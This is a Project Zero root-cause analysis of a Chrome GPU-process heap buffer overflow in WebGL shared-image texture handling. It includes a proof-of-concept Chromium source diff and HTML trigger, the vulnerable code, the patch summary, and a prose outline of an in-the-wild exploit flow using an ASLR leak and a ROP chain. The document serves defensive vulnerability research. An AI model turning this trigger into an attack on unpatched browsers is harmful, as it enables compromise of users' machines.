Sergei Glazunov, Google Project Zero

The Basics

Disclosure or Patch Date: 24 November 2022

Product: Google Chrome

Advisory: https://chromereleases.googleblog.com/2022/11/stable-channel-update-for-desktop_24.html

Affected Versions: pre 107.0.5304.121

First Patched Version: 107.0.5304.121

Issue/Bug Report: https://bugs.chromium.org/p/chromium/issues/detail?id=1392715

Patch CL: https://chromium.googlesource.com/chromium/src/+/2bd6ab1a16090fd20d422c11d794edf5c0ff6b89

Bug-Introducing CL: N/A

Reporter(s): Clement Lecigne of Google's Threat Analysis Group

The Code

Proof-of-concept:

repro.diff

diff --git a/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc b/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc
index 4441b31c8802c..db0b078fc13f7 100644
--- a/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc
+++ b/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc
@@ -135,6 +135,11 @@
 #include "third_party/blink/renderer/platform/wtf/text/string_utf8_adaptor.h"
 #include "ui/gfx/geometry/size.h"
 
+#include "components/viz/common/resources/resource_format.h"
+#include "gpu/command_buffer/client/shared_image_interface.h"
+#include "third_party/blink/public/platform/web_graphics_context_3d_provider.h"
+#include "third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.h"
+
 // Populates parameters from texImage2D except for border, width, height, and
 // depth (which are not present for all texImage2D functions).
 #define POPULATE_TEX_IMAGE_2D_PARAMS(params) \
@@ -2112,6 +2117,35 @@ void WebGLRenderingContextBase::blendColor(GLfloat red,
                                            GLfloat green,
                                            GLfloat blue,
                                            GLfloat alpha) {
+  auto* context = drawing_buffer_->ContextGL();
+  auto* shared_image_interface =
+      drawing_buffer_->ContextProvider()->SharedImageInterface();
+
+  auto mailbox = shared_image_interface->CreateSharedImage(
+      viz::ResourceFormat::RGBA_4444, gfx::Size(32, 32),
+      gfx::ColorSpace::CreateSRGB(), kBottomLeft_GrSurfaceOrigin,
+      kPremul_SkAlphaType,
+      gpu::SHARED_IMAGE_USAGE_GLES2 |
+          gpu::SHARED_IMAGE_USAGE_GLES2_FRAMEBUFFER_HINT |
+          gpu::SHARED_IMAGE_USAGE_DISPLAY_READ,
+      gpu::kNullSurfaceHandle);
+  shared_image_interface->Flush();
+  auto sync_token = shared_image_interface->GenUnverifiedSyncToken();
+  context->WaitSyncTokenCHROMIUM(sync_token.GetConstData());
+  context->Flush();
+
+  auto id = context->CreateAndTexStorage2DSharedImageCHROMIUM(mailbox.name);
+
+  GLuint framebuffer;
+  context->GenFramebuffers(1, &framebuffer);
+  context->BindFramebuffer(GL_READ_FRAMEBUFFER, framebuffer);
+
+  GLenum attachment = GL_COLOR_ATTACHMENT0_EXT;
+  GLint level = 1;
+  context->FramebufferTexture2D(GL_READ_FRAMEBUFFER, attachment, GL_TEXTURE_2D,
+                                id, level);
+  context->DiscardFramebufferEXT(GL_READ_FRAMEBUFFER, 1, &attachment);
+
   if (isContextLost())
     return;
   ContextGL()->BlendColor(red, green, blue, alpha);
diff --git a/ui/gl/gl_utils.cc b/ui/gl/gl_utils.cc
index 2da1f75e571ec..9f8b90a0d3e6e 100644
--- a/ui/gl/gl_utils.cc
+++ b/ui/gl/gl_utils.cc
@@ -108,6 +108,9 @@ bool UsePassthroughCommandDecoder(const base::CommandLine* command_line) {
 }
 
 bool PassthroughCommandDecoderSupported() {
+  if ((true))
+    return false;
+
 #if defined(USE_EGL)
   GLDisplayEGL* display = gl::GLSurfaceEGL::GetGLDisplayEGL();
   // Using the passthrough command buffer requires that specific ANGLE

repro.html

<script>
canvas = document.createElement("canvas");
document.documentElement.appendChild(canvas);
context = canvas.getContext("webgl2");
context.blendColor(0, 0, 0, 0);
</script>

Exploit sample: N/A

Did you have access to the exploit sample when doing the analysis? Yes

The Vulnerability

Bug class: heap buffer overflow / out-of-bounds access

Vulnerability details:

void TextureManager::SetTarget(TextureRef* ref, GLenum target) {
  DCHECK(ref);
  ref->texture()->SetTarget(target, MaxLevelsForTarget(target)); // *** 1 ***
}

void Texture::SetTarget(GLenum target, GLint max_levels) {
  TextureBase::SetTarget(target);
  size_t num_faces = (target == GL_TEXTURE_CUBE_MAP) ? 6 : 1;
  face_infos_.resize(num_faces);
  for (size_t ii = 0; ii < num_faces; ++ii) {
    face_infos_[ii].level_infos.resize(max_levels); // *** 2 ***
  }
  [...]
}

bool TextureManager::ValidForTarget(
    GLenum target, GLint level, GLsizei width, GLsizei height, GLsizei depth) {
  if (level < 0 || level >= MaxLevelsForTarget(target)) // *** 3 ***
    return false;
[...]
}

Texture* CreateGLES2TextureWithLightRef(GLuint service_id, GLenum target) {
  Texture* texture = new Texture(service_id);
  texture->SetLightweightRef();
  texture->SetTarget(target, 1 /*max_levels=*/); // *** 4 ***
  texture->set_min_filter(GL_LINEAR);
  texture->set_mag_filter(GL_LINEAR);
  texture->set_wrap_t(GL_CLAMP_TO_EDGE);
  texture->set_wrap_s(GL_CLAMP_TO_EDGE);
  return texture;
}

void Texture::SetLevelCleared(GLenum target, GLint level, bool cleared) {
  DCHECK_GE(level, 0);
  size_t face_index = GLES2Util::GLTargetToFaceIndex(target);
  DCHECK_LT(face_index, face_infos_.size());
  DCHECK_LT(static_cast<size_t>(level),
            face_infos_[face_index].level_infos.size());
  Texture::LevelInfo& info = face_infos_[face_index].level_infos[level]; // *** 5 ***
  UpdateMipCleared(&info, info.width, info.height,
                   cleared ? gfx::Rect(info.width, info.height) : gfx::Rect());
  UpdateCleared();
}

By default, when a texture is initialized, its maximum number of mipmap levels is computed based on the target by the MaxLevelsForTarget function[1]. This value is then used as the initial size of the level_infos vector[2], and the same MaxLevelsForTarget method is used by functions like FramebufferTexture2D to validate textures[3].

However, when a texture is created from a shared image, CreateGLES2TextureWithLightRef bypasses the texture manager and manually sets max_levels to one. This allows an attacker to pass the validation with an out-of-bounds level and subsequently trigger a buffer overflow on the level_infos vector, e.g. by calling DiscardFramebufferEXT and triggering the issue in Texture::SetLevelCleared[5].

Patch analysis:

The patch introduces a new function named ValidForTextureTarget and modifies most of ValidForTarget call sites to invoke the new function instead, which checks the actual size of the level_infos vector before calling ValidForTarget.

Thoughts on how this vuln might have been found (fuzzing, code auditing, variant analysis, etc.):

The bug was likely found during a code audit. The mismatch between the hardcoded max_levels argument in the SetTarget call site[4] and other call sites seems sufficiently interesting to attract a careful reviewer's attention.

Alternatively, a custom GPU interface fuzzer could discover the issue.

(Historical/present/future) context of bug:

The GPU is known to be an attractive target for in-the-wild attackers, but vulnerabilities in Chrome's GPU process implementation are relatively rarely caught.

The Exploit

(The terms exploit primitive, exploit strategy, exploit technique, and exploit flow are defined here.)

Exploit strategy (or strategies):

The vulnerability immediately provides an attacker with an extremely powerful exploitation primitive -- a non-linear buffer overflow with a controlled offset.

Exploit flow:

The exploit abuses the command buffer and GLES2 APIs for memory manipulation. A corrupted memory bucket is used to first leak data from the GPU process and break ASLR, and then, when the ROP chain is ready, hijack the control flow.

Known cases of the same exploit flow: N/A

Part of an exploit chain? Yes, together with CVE-2022-3723.

The Next Steps

Variant analysis

Areas/approach for variant analysis (and why):

Found variants: N/A

Structural improvements

What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.?

Ideas to kill the bug class:

The specific subclass (out-of-bounds access on an std::vector) has been eliminated in Chrome by "safe C++ mode" runtime checks.

Ideas to mitigate the exploit flow:

Other potential improvements:

0-day detection methods

What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected as a 0-day?

Other References